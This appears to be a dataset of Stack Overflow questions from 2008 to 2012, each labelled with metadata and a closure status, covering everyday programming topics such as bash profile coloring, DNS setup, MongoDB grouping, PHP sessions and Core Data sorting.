PostId
int64
13
11.8M
PostCreationDate
stringlengths
19
19
OwnerUserId
int64
3
1.57M
OwnerCreationDate
stringlengths
10
19
ReputationAtPostCreation
int64
-33
210k
OwnerUndeletedAnswerCountAtPostTime
int64
0
5.77k
Title
stringlengths
10
250
BodyMarkdown
stringlengths
12
30k
Tag1
stringlengths
1
25
Tag2
stringlengths
1
25
Tag3
stringlengths
1
25
Tag4
stringlengths
1
25
Tag5
stringlengths
1
25
PostClosedDate
stringlengths
19
19
OpenStatus
stringclasses
5 values
unified_texts
stringlengths
47
30.1k
OpenStatus_id
int64
0
4
11,397,779
07/09/2012 15:03:25
863,553
07/26/2011 13:40:34
652
27
Bash Profile Coloring
I would like to make a few changes to my bash profile. Changes I would like include: - Coloring Files: I would like files with the execute permission bit set to be colored green. - I would like to know how to assign different file extensions to different colors when the `ls` command is run. - I would like ls to append an `*` to the end of file names with the execution bit set. - I would like to color setuid executable files a different color. How would I implement this using my `.bashrc` file?
shell
.bash-profile
null
null
null
07/09/2012 15:38:48
off topic
Bash Profile Coloring === I would like to make a few changes to my bash profile. Changes I would like include: - Coloring Files: I would like files with the execute permission bit set to be colored green. - I would like to know how to assign different file extensions to different colors when the `ls` command is run. - I would like ls to append an `*` to the end of file names with the execution bit set. - I would like to color setuid executable files a different color. How would I implement this using my `.bashrc` file?
2
10,258,130
04/21/2012 10:30:53
1,018,450
10/28/2011 13:58:15
1
0
I can't set DNS for my VPS
I bought a VPS from ovh.com recently and my domain from NetFirms. The problem is that I can't set the DNS for the VPS. Here is my ISPConfig: http://i1175.photobucket.com/albums/r631/HNH992/dns.jpg and here my VPS manager: http://i1175.photobucket.com/albums/r631/HNH992/dns2.jpg And I pointed my domain to the name servers http ://i1175.photobucket.com/albums/r631/HNH992/dns3.jpg As you see, i'm trying to make sagameserver.com as the main VPS domain. And the name servers for my VPS should be like this: ns1.sagameserver.com ns2.sagameserver.com When I ping them, they work. But when I change any domain's NS to ns1.sagameserver.com and ns2.sagameserver.com, they dont work. Where is the problem? Thanks.
dns
vps
nameservers
null
null
04/23/2012 02:44:21
off topic
I can't set DNS for my VPS === I bought a VPS from ovh.com recently and my domain from NetFirms. The problem is that I can't set the DNS for the VPS. Here is my ISPConfig: http://i1175.photobucket.com/albums/r631/HNH992/dns.jpg and here my VPS manager: http://i1175.photobucket.com/albums/r631/HNH992/dns2.jpg And I pointed my domain to the name servers http ://i1175.photobucket.com/albums/r631/HNH992/dns3.jpg As you see, i'm trying to make sagameserver.com as the main VPS domain. And the name servers for my VPS should be like this: ns1.sagameserver.com ns2.sagameserver.com When I ping them, they work. But when I change any domain's NS to ns1.sagameserver.com and ns2.sagameserver.com, they dont work. Where is the problem? Thanks.
2
2,490,590
03/22/2010 07:36:48
296,382
03/10/2010 11:14:39
33
1
difference between jquery and java script
what is the difference between jquery and java script
jquery
javascript
null
null
null
null
open
difference between jquery and java script === what is the difference between jquery and java script
0
10,055,618
04/07/2012 15:13:34
1,275,717
03/17/2012 12:29:43
1
0
select max 10 values in sql server 2008
i have table named product.It has two fields product_id,purchase_count.i want to get 10 product id who has highest download_count values.
sql-server
sql-server-2008
null
null
null
04/09/2012 06:16:49
not a real question
select max 10 values in sql server 2008 === i have table named product.It has two fields product_id,purchase_count.i want to get 10 product id who has highest download_count values.
1
10,949,363
06/08/2012 13:00:02
932,727
09/07/2011 12:45:57
56
4
WP7 RootFrame_NavigationFailed
I made a fresh Project in WP7 and I moved the Default page called MainPage.xaml to a sub folder and renamed it to Main.xaml. I then went to WMAppManifest.xaml and I changed the Default Task property to: <DefaultTask Name ="_default" NavigationPage="MyProj\Central\UI\Main.xaml"/> Where MyProj is the name of the project, Central and UI are folders. This however throws an exception and states that the app has failed to navigate upon launching the application. How do I fix this? Any help is highly appreciated.
windows-phone-7
navigation
null
null
null
null
open
WP7 RootFrame_NavigationFailed === I made a fresh Project in WP7 and I moved the Default page called MainPage.xaml to a sub folder and renamed it to Main.xaml. I then went to WMAppManifest.xaml and I changed the Default Task property to: <DefaultTask Name ="_default" NavigationPage="MyProj\Central\UI\Main.xaml"/> Where MyProj is the name of the project, Central and UI are folders. This however throws an exception and states that the app has failed to navigate upon launching the application. How do I fix this? Any help is highly appreciated.
0
8,771,291
01/07/2012 16:45:45
256,016
01/21/2010 17:22:36
43
0
Machine learning algorithm for this task?
Trying to write some code that deals with this task: • As an starting point, I have around 20 "profiles" (imagine a landscape profile), i.e. one-dimensional arrays of around 1000 real values. • Each profile has a real-valued desired outcome, the "effective height". • The effective height is some sort of average but height, width and position of peaks play a particular role. • My aim is to generalize from the input data so as to calculate the effective height for further profiles. Is there a machine learning algorithm or principle that could help?
machine-learning
null
null
null
null
null
open
Machine learning algorithm for this task? === Trying to write some code that deals with this task: • As an starting point, I have around 20 "profiles" (imagine a landscape profile), i.e. one-dimensional arrays of around 1000 real values. • Each profile has a real-valued desired outcome, the "effective height". • The effective height is some sort of average but height, width and position of peaks play a particular role. • My aim is to generalize from the input data so as to calculate the effective height for further profiles. Is there a machine learning algorithm or principle that could help?
0
11,455,904
07/12/2012 16:01:27
1,521,304
07/12/2012 15:45:46
1
0
solr search engine
I want to use the search engine solr so i instaled and configured the solr version solr.3.6.0 i got the admin page with the search box but i dont know what it's usefull for.. I tried to index my mysql dbase so i folowed [this doc][1] but when i tap this localhost:8080/solr/dataimport i got error telling that The requested resource (/ solr / DataImport) is not available. can you help me please to resolve this and how can I search in php page. thanks in advance. [1]: http://www.cabotsolutions.com/2009/05/using-solr-lucene-for-full-text-search-with-mysql-db/#comment-2748
php
solr
null
null
null
07/12/2012 20:23:54
not a real question
solr search engine === I want to use the search engine solr so i instaled and configured the solr version solr.3.6.0 i got the admin page with the search box but i dont know what it's usefull for.. I tried to index my mysql dbase so i folowed [this doc][1] but when i tap this localhost:8080/solr/dataimport i got error telling that The requested resource (/ solr / DataImport) is not available. can you help me please to resolve this and how can I search in php page. thanks in advance. [1]: http://www.cabotsolutions.com/2009/05/using-solr-lucene-for-full-text-search-with-mysql-db/#comment-2748
1
1,056,997
06/29/2009 07:31:36
31,722
10/27/2008 07:44:22
856
60
Team Foundation Server Build with password protected codesigning fails
I'm trying to setup a continuous integration build on TFS 2008. In the project I want to build I use a key for signing. This key uses a password. I can't get it to build, because during the build TFS wants to show a dialog which can't be shown. I think I need to build the project by hand on the server, but only the TFS explorer and build parts are installed on the server. Any suggestions on how to get my project to build properly? This is the error given by TFS: > C:\WINDOWS\Microsoft.NET\Framework\v3.5\Microsoft.Common.targets(1805,7): > error MSB4018: The "ResolveKeySource" > task failed unexpectedly. > System.InvalidOperationException: > Showing a modal dialog box or form > when the application is not running in > UserInteractive mode is not a valid > operation. Specify the > ServiceNotification or > DefaultDesktopOnly style to display a > notification from a service > application. at > System.Windows.Forms.Form.ShowDialog(IWin32Window > owner) at > System.Windows.Forms.Form.ShowDialog() > at > Microsoft.Build.Tasks.ResolveKeySource.ResolveAssemblyKey() > at > Microsoft.Build.Tasks.ResolveKeySource.Execute()
tfs
continuous-integration
build
null
null
null
open
Team Foundation Server Build with password protected codesigning fails === I'm trying to setup a continuous integration build on TFS 2008. In the project I want to build I use a key for signing. This key uses a password. I can't get it to build, because during the build TFS wants to show a dialog which can't be shown. I think I need to build the project by hand on the server, but only the TFS explorer and build parts are installed on the server. Any suggestions on how to get my project to build properly? This is the error given by TFS: > C:\WINDOWS\Microsoft.NET\Framework\v3.5\Microsoft.Common.targets(1805,7): > error MSB4018: The "ResolveKeySource" > task failed unexpectedly. > System.InvalidOperationException: > Showing a modal dialog box or form > when the application is not running in > UserInteractive mode is not a valid > operation. Specify the > ServiceNotification or > DefaultDesktopOnly style to display a > notification from a service > application. at > System.Windows.Forms.Form.ShowDialog(IWin32Window > owner) at > System.Windows.Forms.Form.ShowDialog() > at > Microsoft.Build.Tasks.ResolveKeySource.ResolveAssemblyKey() > at > Microsoft.Build.Tasks.ResolveKeySource.Execute()
0
10,410,244
05/02/2012 08:33:42
1,369,502
05/02/2012 08:23:37
1
0
facebook application post on fan's wall
I want to make application can post on fan's wall to be updated with my website news ...I made application can post of my friend's wall but when I login in facebook as (my page name) I can't use this application and forcing me to back again to login whith my username.
facebook-graph-api
post
facebook-fanpage
facebook-wall
null
null
open
facebook application post on fan's wall === I want to make application can post on fan's wall to be updated with my website news ...I made application can post of my friend's wall but when I login in facebook as (my page name) I can't use this application and forcing me to back again to login whith my username.
0
265,332
11/05/2008 14:44:36
16,794
09/17/2008 20:47:55
656
21
Sprint Lengths - 2 week vs 30 days
I want to implement Scrum, but I can't decide on a Sprint length. Ken Schwaber seems to relate that 30 days it the defacto... but I can't imagine waiting 30 days without the possibility of changing direction or reprioritizing. Our projects usually only last 1-3 months using the waterfall method and moving to Scrum would probably mean less opportunity to fine tune. I was thinking about 1 week sprints, but this seems like Scrum Micro Management. Having 2 week sprints would probably be ideal, but I want to know if others out there were able to implement this successfully. What are the downsides? Is it more work/less work/same about of work to manage a team with shorter sprints? BTW... 3 week sprints seem odd to me, who does a 3 week sprint? Why not just make it 4 weeks. ;)
scrum
project-management
project-planning
null
null
03/26/2012 11:10:46
not constructive
Sprint Lengths - 2 week vs 30 days === I want to implement Scrum, but I can't decide on a Sprint length. Ken Schwaber seems to relate that 30 days it the defacto... but I can't imagine waiting 30 days without the possibility of changing direction or reprioritizing. Our projects usually only last 1-3 months using the waterfall method and moving to Scrum would probably mean less opportunity to fine tune. I was thinking about 1 week sprints, but this seems like Scrum Micro Management. Having 2 week sprints would probably be ideal, but I want to know if others out there were able to implement this successfully. What are the downsides? Is it more work/less work/same about of work to manage a team with shorter sprints? BTW... 3 week sprints seem odd to me, who does a 3 week sprint? Why not just make it 4 weeks. ;)
4
3,723,547
09/16/2010 03:41:57
325,418
05/09/2009 15:50:29
5,561
130
How to use MongoDB Ruby Driver to do a "Group" (group by)?
related to http://stackoverflow.com/questions/2127374/mongodb-group-using-ruby-driver if I want to do something like the following in SQL: select page_id, count(page_id) from a_table group by page_id I thought the MongoDB's doc says http://api.mongodb.org/ruby/current/Mongo/Collection.html#group-instance_method group(key, condition, initial, reduce, finalize = nil) # returns an array So from the other post, I am using: Analytic.collection.group( "fucntion (x) return {page_id : x.page_id}", nil, {:count => 0}, "function(x, y) { y.count++ }" ) but it actually returns [{"count"=>47.0}] which is the total number of records (documents) in the collection. Is something not correct above? I thought the key might be a static string like in http://kylebanker.com/blog/2009/11/mongodb-count-group/ db.pageviews.group( { key: {'user.agent': true}, initial: {sum: 0}, reduce: function(doc, prev) { prev.sum += 1} }); but it is not in the other stackoverflow post.
ruby
mongodb
group-by
mongoid
null
null
open
How to use MongoDB Ruby Driver to do a "Group" (group by)? === related to http://stackoverflow.com/questions/2127374/mongodb-group-using-ruby-driver if I want to do something like the following in SQL: select page_id, count(page_id) from a_table group by page_id I thought the MongoDB's doc says http://api.mongodb.org/ruby/current/Mongo/Collection.html#group-instance_method group(key, condition, initial, reduce, finalize = nil) # returns an array So from the other post, I am using: Analytic.collection.group( "fucntion (x) return {page_id : x.page_id}", nil, {:count => 0}, "function(x, y) { y.count++ }" ) but it actually returns [{"count"=>47.0}] which is the total number of records (documents) in the collection. Is something not correct above? I thought the key might be a static string like in http://kylebanker.com/blog/2009/11/mongodb-count-group/ db.pageviews.group( { key: {'user.agent': true}, initial: {sum: 0}, reduce: function(doc, prev) { prev.sum += 1} }); but it is not in the other stackoverflow post.
0
9,255,768
02/13/2012 04:53:57
1,144,673
01/12/2012 04:31:00
54
2
Python vs Java for natural language processing
I have been working on java to find the similarity between two documents. I prefer finding semantic similarity , but havent made efforts to find it yet . I am using the following approach . 1. Extract terms / tokens (I am using JAWS with wordnet to remove synonyms thus improves the similarities ) 2. make a term document matrix 3. LSA 4. Cosine similarity When i was looking at few stackoverflow pages , i got quite a few links to python implementations. I would like to know if python is a better language to find the text similarity and would also like to know if i can find semantic similairty between two documents in python
java
python
text
nlp
similarity
02/13/2012 07:32:34
not constructive
Python vs Java for natural language processing === I have been working on java to find the similarity between two documents. I prefer finding semantic similarity , but havent made efforts to find it yet . I am using the following approach . 1. Extract terms / tokens (I am using JAWS with wordnet to remove synonyms thus improves the similarities ) 2. make a term document matrix 3. LSA 4. Cosine similarity When i was looking at few stackoverflow pages , i got quite a few links to python implementations. I would like to know if python is a better language to find the text similarity and would also like to know if i can find semantic similairty between two documents in python
4
9,122,864
02/03/2012 02:14:58
1,161,856
01/21/2012 03:40:22
2
0
android and play framework
I am a beginner, need help how android communication with play framework? socket? for example, android is client part. play framework is server part. for login function. how to do it? does anyone can give me a sample code about this or tips? looking froward to replay. thanks
android
playframework
null
null
null
02/03/2012 19:57:16
not a real question
android and play framework === I am a beginner, need help how android communication with play framework? socket? for example, android is client part. play framework is server part. for login function. how to do it? does anyone can give me a sample code about this or tips? looking froward to replay. thanks
1
11,305,757
07/03/2012 06:44:50
1,439,363
06/06/2012 09:31:02
1
0
How to add business directory in website
Can someone help me? I want to create a business directory website to yield more visitors to my site as well as provide a resource for visitors to find goods and services that they need. I want the site to be similar to the yellow pages, but not as complex. I would just list general information, including a link to the business website, and other contact information such as phone numbers, email with a brief description of the type of business. .
html
null
null
null
null
07/03/2012 07:53:02
not a real question
How to add business directory in website === Can someone help me? I want to create a business directory website to yield more visitors to my site as well as provide a resource for visitors to find goods and services that they need. I want the site to be similar to the yellow pages, but not as complex. I would just list general information, including a link to the business website, and other contact information such as phone numbers, email with a brief description of the type of business. .
1
7,959,609
10/31/2011 20:53:16
717,595
04/20/2011 17:27:23
317
3
Country/Region/City DB
Does anybody knows where I can download or buy multilanguage database of Countries/Regions/Cities? Multilanguage means that names of cities and countries should be on their local language. Or maybe exists any service with this functionality?
php
database
null
null
null
11/14/2011 08:00:57
off topic
Country/Region/City DB === Does anybody knows where I can download or buy multilanguage database of Countries/Regions/Cities? Multilanguage means that names of cities and countries should be on their local language. Or maybe exists any service with this functionality?
2
8,630,918
12/25/2011 18:34:57
248,733
01/12/2010 09:11:51
393
5
Python regex remove string
I have text witch start with `PHOTO` and ends with `\n` how can I remove this text with regular expression.
python
regex
null
null
null
12/25/2011 18:51:18
not a real question
Python regex remove string === I have text witch start with `PHOTO` and ends with `\n` how can I remove this text with regular expression.
1
8,811,144
01/10/2012 22:00:46
488,948
10/27/2010 14:24:40
1
0
Resource recommendations for implementing an Android app that uses a client-server architecture to access database
I need to find some good resources on how to access a database on a server from my android application. From some brief research I have found that using RESTful services is an option. Before getting upset at me for not just googling for resources myself, let me explain that I thought it'd be a good idea instead to get recommendations first before delving into the litany of results from google. thanks
android
database
client
null
null
01/12/2012 02:32:45
not constructive
Resource recommendations for implementing an Android app that uses a client-server architecture to access database === I need to find some good resources on how to access a database on a server from my android application. From some brief research I have found that using RESTful services is an option. Before getting upset at me for not just googling for resources myself, let me explain that I thought it'd be a good idea instead to get recommendations first before delving into the litany of results from google. thanks
4
4,248,857
11/22/2010 18:26:52
477,415
10/15/2010 20:07:08
63
8
How do I easily obfuscate an Android app when using IntelliJ IDEA?
Title says it all really. I imagine there are two options: 1. Build a parallel ANT script and bypass the IDE (seems pretty inefficient when the IDE is so good) 2. Somehow integrate Proguard/yGuard or similar with IntelliJ I've tried installing plugins for Proguard/yGuard into IntelliJ but neither seem to be working (installed ok, but don't appear under Facets), and actually I'm not 100% sure these plugins will help me obfuscate or whether they just provide a de-obfuscation facility for debugging. I figure ANT is the best route, but would appreciate your thoughts. I just want a way to reduce the chances of someone reverse-engineering apps, but without spending hours setting it up.
android
intellij-idea
obfuscation
proguard
null
null
open
How do I easily obfuscate an Android app when using IntelliJ IDEA? === Title says it all really. I imagine there are two options: 1. Build a parallel ANT script and bypass the IDE (seems pretty inefficient when the IDE is so good) 2. Somehow integrate Proguard/yGuard or similar with IntelliJ I've tried installing plugins for Proguard/yGuard into IntelliJ but neither seem to be working (installed ok, but don't appear under Facets), and actually I'm not 100% sure these plugins will help me obfuscate or whether they just provide a de-obfuscation facility for debugging. I figure ANT is the best route, but would appreciate your thoughts. I just want a way to reduce the chances of someone reverse-engineering apps, but without spending hours setting it up.
0
8,316,897
11/29/2011 19:57:28
529,665
12/03/2010 17:18:22
181
9
Is there a preferred way to resolve CA1062 for MVC controller actions?
Running code analysis on the following action results in a CA1062 warning, advising I validate the parameter before using it: [HttpPost] public ActionResult Index(SomeViewModel vm) { if (!ModelState.IsValid) return View(vm); // ... other code return View(vm); } I realize I could resolve the warning by adding: if(vm==null) throw new ArgumentNullException("vm"); I was under the impression that if default model binding succeeded the incoming parameter could never be null and would not need to be validated beyond "ModelState.IsValid". 1. Is that the case? 2. Is there a widely accepted technique for addressing this warning for MVC actions?
asp.net-mvc-3
code-analysis
null
null
null
null
open
Is there a preferred way to resolve CA1062 for MVC controller actions? === Running code analysis on the following action results in a CA1062 warning, advising I validate the parameter before using it: [HttpPost] public ActionResult Index(SomeViewModel vm) { if (!ModelState.IsValid) return View(vm); // ... other code return View(vm); } I realize I could resolve the warning by adding: if(vm==null) throw new ArgumentNullException("vm"); I was under the impression that if default model binding succeeded the incoming parameter could never be null and would not need to be validated beyond "ModelState.IsValid". 1. Is that the case? 2. Is there a widely accepted technique for addressing this warning for MVC actions?
0
2,692,189
04/22/2010 15:31:31
208,827
11/11/2009 16:28:55
602
1
Best (or appropriate) WSGI server for this Python script? - Python
I'm having quite a problem deciding how to serve a few Python scripts. The problem is that the basic functionality could be generalized by this: do_something() time.sleep(3) do_something() _____ I tried various **WSGI servers**, but they have all been giving me concurrency limitations, as in I have to specify how many threads to use and so on. I only wish that the resources on the server be used efficiently and liberally. ____ Any ideas?
python
concurrency
wsgi
mod-wsgi
cherrypy
null
open
Best (or appropriate) WSGI server for this Python script? - Python === I'm having quite a problem deciding how to serve a few Python scripts. The problem is that the basic functionality could be generalized by this: do_something() time.sleep(3) do_something() _____ I tried various **WSGI servers**, but they have all been giving me concurrency limitations, as in I have to specify how many threads to use and so on. I only wish that the resources on the server be used efficiently and liberally. ____ Any ideas?
0
6,663,890
07/12/2011 12:05:10
826,790
07/03/2011 10:31:27
18
0
sql query - how to filter results from last hour?
I would only like to get only the data from the last hour. the query should be something like that... SELECT some_date_related_data FROM some_table WHERE time > now() - (1hour) how can i achieve that? Thanks!
sql
null
null
null
null
11/11/2011 09:42:20
not a real question
sql query - how to filter results from last hour? === I would only like to get only the data from the last hour. the query should be something like that... SELECT some_date_related_data FROM some_table WHERE time > now() - (1hour) how can i achieve that? Thanks!
1
5,731,792
04/20/2011 14:17:36
261,375
01/28/2010 21:23:27
138
5
Help with jQuery Plugin Development
I was reading a couple of tutorials. This is the link to one of them: http://blog.jeremymartin.name/2008/02/building-your-first-jquery-plugin-that.html In it, the author says, > You'll notice that whenever I needed to select an element within the plugin, I always used obj as my context (e.g., moreLink = $('.truncate_more_link', obj)). This is necessary to constrain any selections to the current truncated element. Without setting the context like this, you will get unpredictable results. I've read similar statements in other tutorials, but I still don't grasp what they really mean. In my mind, I understand ... $('.truncate_more_link', obj) ... to mean, "Select elements with the .truncate_more_link class and also the element represented by the variable obj." But it sounds like the author of the tutorial is saying "Select the .truncate_more_link class elements that are also the actual element passed into the plugin function. Why not just do $(obj) instead of $('.truncate_more_link', obj) It seems I'm missing some understanding of scope.
jquery-plugins
null
null
null
null
null
open
Help with jQuery Plugin Development === I was reading a couple of tutorials. This is the link to one of them: http://blog.jeremymartin.name/2008/02/building-your-first-jquery-plugin-that.html In it, the author says, > You'll notice that whenever I needed to select an element within the plugin, I always used obj as my context (e.g., moreLink = $('.truncate_more_link', obj)). This is necessary to constrain any selections to the current truncated element. Without setting the context like this, you will get unpredictable results. I've read similar statements in other tutorials, but I still don't grasp what they really mean. In my mind, I understand ... $('.truncate_more_link', obj) ... to mean, "Select elements with the .truncate_more_link class and also the element represented by the variable obj." But it sounds like the author of the tutorial is saying "Select the .truncate_more_link class elements that are also the actual element passed into the plugin function. Why not just do $(obj) instead of $('.truncate_more_link', obj) It seems I'm missing some understanding of scope.
0
1,321,537
08/24/2009 10:14:49
119,032
06/08/2009 05:16:26
245
16
MySQL Comparison Binary Collation vs Binary Strings
according to mysql certification guide, comparisons between binary collation vs binary strings are different because comparisons in binary collation is done per character vs per byte in binary strings. but what difference does that give?
mysql
types
null
null
null
null
open
MySQL Comparison Binary Collation vs Binary Strings === according to mysql certification guide, comparisons between binary collation vs binary strings are different because comparisons in binary collation is done per character vs per byte in binary strings. but what difference does that give?
0
2,467,134
03/18/2010 01:58:34
296,168
03/18/2010 01:58:34
1
0
surveillance camera viewer programming in .net
I'm trying to build a viewer application for analog surveillance cameras in .NET. Something along the line of [Zoneminder][1]. Just wondering if there's any api available or where should I start looking in the .NET framework? I'm no expert in the imaging area. Thank you. [1]: http://www.zoneminder.com
.net
surveillance
camera
cctv
c#
12/05/2011 03:55:38
not a real question
surveillance camera viewer programming in .net === I'm trying to build a viewer application for analog surveillance cameras in .NET. Something along the line of [Zoneminder][1]. Just wondering if there's any api available or where should I start looking in the .NET framework? I'm no expert in the imaging area. Thank you. [1]: http://www.zoneminder.com
1
6,087,383
05/22/2011 10:39:41
743,243
05/07/2011 17:01:39
69
1
why am i getting the cannot send session cookie error on my php webpage when it is in an online webserver?
i have a perfectly working site in my local machine, which was developed using WAMP server. I tried moving it over to a webost, and i keep getting this message in my pages - Error - <b>Warning</b>: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cookie - headers already sent by (output started at /www/host.com/appi/htdocs/connect.php:11) in <b>/www/host.com/appi/htdocs/session-public.php</b> on line <b>5</b><br /> <br /> <b>Warning</b>: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cache limiter - headers already sent (output started at /www/host.com/appi/htdocs/connect.php:11) in <b>/www/host.com/appi/htdocs/session-public.php</b> on line <b>5</b><br /> I have a session start to be set if not already set, in all my pages. My question is, if it works in my local machine, why this error when the same code is moved over to a shared web server online?
php
session
cookies
send
wampserver
null
open
why am i getting the cannot send session cookie error on my php webpage when it is in an online webserver? === i have a perfectly working site in my local machine, which was developed using WAMP server. I tried moving it over to a webost, and i keep getting this message in my pages - Error - <b>Warning</b>: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cookie - headers already sent by (output started at /www/host.com/appi/htdocs/connect.php:11) in <b>/www/host.com/appi/htdocs/session-public.php</b> on line <b>5</b><br /> <br /> <b>Warning</b>: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cache limiter - headers already sent (output started at /www/host.com/appi/htdocs/connect.php:11) in <b>/www/host.com/appi/htdocs/session-public.php</b> on line <b>5</b><br /> I have a session start to be set if not already set, in all my pages. My question is, if it works in my local machine, why this error when the same code is moved over to a shared web server online?
0
7,962,093
11/01/2011 03:16:24
512,883
11/18/2010 23:24:02
37
4
NSSortDescriptor with Comparator Changes Behavior on Fetch vs Initial Load
I'm getting really bizarre behavior with an NSSortDescriptor. Let's start with my code: NSSortDescriptor *nameExists = [NSSortDescriptor sortDescriptorWithKey:@"firstName" ascending:YES comparator:^(id obj1, id obj2){ if ( ([obj1 isEqualToString:@""] || [obj1 isKindOfClass:[NSNull class]] || obj1 == nil) && ![obj2 isEqualToString:@""]){ return NSOrderedDescending; } else if ( ![obj1 isEqualToString:@""] && ([obj2 isEqualToString:@""] || [obj2 isKindOfClass:[NSNull class]] || obj2 == nil) ){ return NSOrderedAscending; } return NSOrderedSame; }]; This is the sort descriptor that I use to order the users in my database by those who have name fields and those who do not. So, if you had a user list of 20 people, and 5 people didn't have first names, but 15 did, the 15 with names would be sorted before those without. This is in start contrast to the usual behavior of sorting a string field as Ascending, which would display the entries with the blank fields before the non-blank fields. When I first load the view, this sort descriptor reverts to the default behavior - with the blank fields before the full fields, as if my Comparator were not there. However, if I pull new entries into Core Data, my NSFetchedResultsController loads the entries properly, and according to my comparator. My gut told me that there is something wrong with the placement of my block. I have it in the init method of the view. However, I changed it to the loadView method and the behavior persisted. Does anyone have any idea what is going on?
iphone
cocoa
iphone-sdk-4.0
core-data
nssortdescriptor
null
open
NSSortDescriptor with Comparator Changes Behavior on Fetch vs Initial Load === I'm getting really bizarre behavior with an NSSortDescriptor. Let's start with my code: NSSortDescriptor *nameExists = [NSSortDescriptor sortDescriptorWithKey:@"firstName" ascending:YES comparator:^(id obj1, id obj2){ if ( ([obj1 isEqualToString:@""] || [obj1 isKindOfClass:[NSNull class]] || obj1 == nil) && ![obj2 isEqualToString:@""]){ return NSOrderedDescending; } else if ( ![obj1 isEqualToString:@""] && ([obj2 isEqualToString:@""] || [obj2 isKindOfClass:[NSNull class]] || obj2 == nil) ){ return NSOrderedAscending; } return NSOrderedSame; }]; This is the sort descriptor that I use to order the users in my database by those who have name fields and those who do not. So, if you had a user list of 20 people, and 5 people didn't have first names, but 15 did, the 15 with names would be sorted before those without. This is in start contrast to the usual behavior of sorting a string field as Ascending, which would display the entries with the blank fields before the non-blank fields. When I first load the view, this sort descriptor reverts to the default behavior - with the blank fields before the full fields, as if my Comparator were not there. However, if I pull new entries into Core Data, my NSFetchedResultsController loads the entries properly, and according to my comparator. My gut told me that there is something wrong with the placement of my block. I have it in the init method of the view. However, I changed it to the loadView method and the behavior persisted. Does anyone have any idea what is going on?
0
6,285,418
06/08/2011 21:19:00
774,419
05/28/2011 14:59:44
1
0
Limit and define maximum number of user selections allowed in a check mark selection list for iPhone
I currently have a Selection List TableView that allows a user to make multiple selections from a list. How can I limit the number of selections a user can make in a check mark selection list, defining a maximum allowable number of selections? In the iOS TableView User Guide, I only see very limited info describing an Exclusive Selection list for allowing only one single selection and an Inclusive Selection List for allowing multiple selections, but I haven't been able to find any info on defining a specific maximum number of selections. I'd like to limit the user to be able to make up to a maximum of 3 selections, while still allowing them to make only one or two selections if they wish. Can anyone provide any info on how to do this? Thanks!
iphone
ios
null
null
null
null
open
Limit and define maximum number of user selections allowed in a check mark selection list for iPhone === I currently have a Selection List TableView that allows a user to make multiple selections from a list. How can I limit the number of selections a user can make in a check mark selection list, defining a maximum allowable number of selections? In the iOS TableView User Guide, I only see very limited info describing an Exclusive Selection list for allowing only one single selection and an Inclusive Selection List for allowing multiple selections, but I haven't been able to find any info on defining a specific maximum number of selections. I'd like to limit the user to be able to make up to a maximum of 3 selections, while still allowing them to make only one or two selections if they wish. Can anyone provide any info on how to do this? Thanks!
0
4,941,095
02/09/2011 03:43:53
476,412
10/14/2010 23:53:50
340
9
Can I use these PHP functions together?
Can I use these PHP functions below: $user = mysql_escape_string($user); $user = filter_var($user, FILTER_SANITIZE_STRING); $user = stripslashes($user); $user = trim($user); together like this: $user = mysql_escape_string(stripslashes(trim(filter_var($user, FILTER_SANITIZE_STRING)))); sorry if this is a stupid question.
php
null
null
null
null
null
open
Can I use these PHP functions together? === Can I use these PHP functions below: $user = mysql_escape_string($user); $user = filter_var($user, FILTER_SANITIZE_STRING); $user = stripslashes($user); $user = trim($user); together like this: $user = mysql_escape_string(stripslashes(trim(filter_var($user, FILTER_SANITIZE_STRING)))); sorry if this is a stupid question.
0
7,214,710
08/27/2011 12:58:26
918,477
08/04/2011 18:41:25
6
0
reload the div of same page in ajax
This is my code <div id="refresh" class="refresh" style="float:left;margin-left:2px;width:98%;"> <ol id="update" class="timeline"></ol> <?php //$post_id value comes from the POSTS table $sql=mysql_query("select * from sms order by ID desc"); while($row=mysql_fetch_array($sql)) { $id=$row['USERID']; $no=$row['ID']; $type=$row['CAT']; $sms=$row['SMS']; $title=$row['TITLE']; $sql1 = mysql_fetch_array(mysql_query("SELECT IMAGE FROM info WHERE ID='$id'")); $image ='data:image/jpeg;base64,'.base64_encode($sql1['IMAGE']); $delete="block"; ?> <table class="box" width="98%"> <tr><td> <img src="<?php echo $image; ?>" class="com_img"/><span class="shade"><span class="com_name"> <?php echo $title;?></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<?php echo $type;?></span><img src="images/delete.png" style="float:right; display:<?php echo $delete;?>"/><br/><div style="float:left; margin-left:0px" class="shade-title" ><?php echo nl2br($sms); ?><br/><br/></div> <br/> <div id="<?php echo $no;?>" style="float:left;margin-right:2px;width:98%; display:<?php echo $delete;?>"> <input id="<?php echo $no;?>" type="button" value="Send To Mobile" style="float:right; width:120px" onClick="showoption(this)"/> </div> <div id="<?php echo "send".$no;?>" style="float:right;margin-right:2px;width:80%; display:none" > <input src="images/delete.png" id="<?php echo "send".$no;?>" type="image" title="Cancel" class="not" style="float:right; width:15px; height:10px;" onClick="hideoption(this)" /> <form method="post" id="<?php echo "frm".$no;?>" onSubmit="return sendsms(this)"> <input type="hidden" value="<?php echo $no;?>"/> <input type="hidden" id="msg" name="msg" value="<?php echo rawurlencode(nl2br($sms));?>" /> <input type="submit" value="Send" style="float:right; margin-right: 20px; width:80px"/> <input type="text" id='to' name="to" style=" width:150px; float:right; margin-right:10px" /> </form> </div> <br/> </td></tr> </table> <?php } ?> <div id="flash" align="left" ></div> </div> Now, i have used ajax to update the content... but, that, i have done by using other page.. means, i loading the other page on <div> , but i want to reload this content from same page, which reloading the div in some interval from the same page without refreshing whole page.. Any Idea...!!!
php
ajax
jquery-ajax
div
null
08/28/2011 13:16:26
not a real question
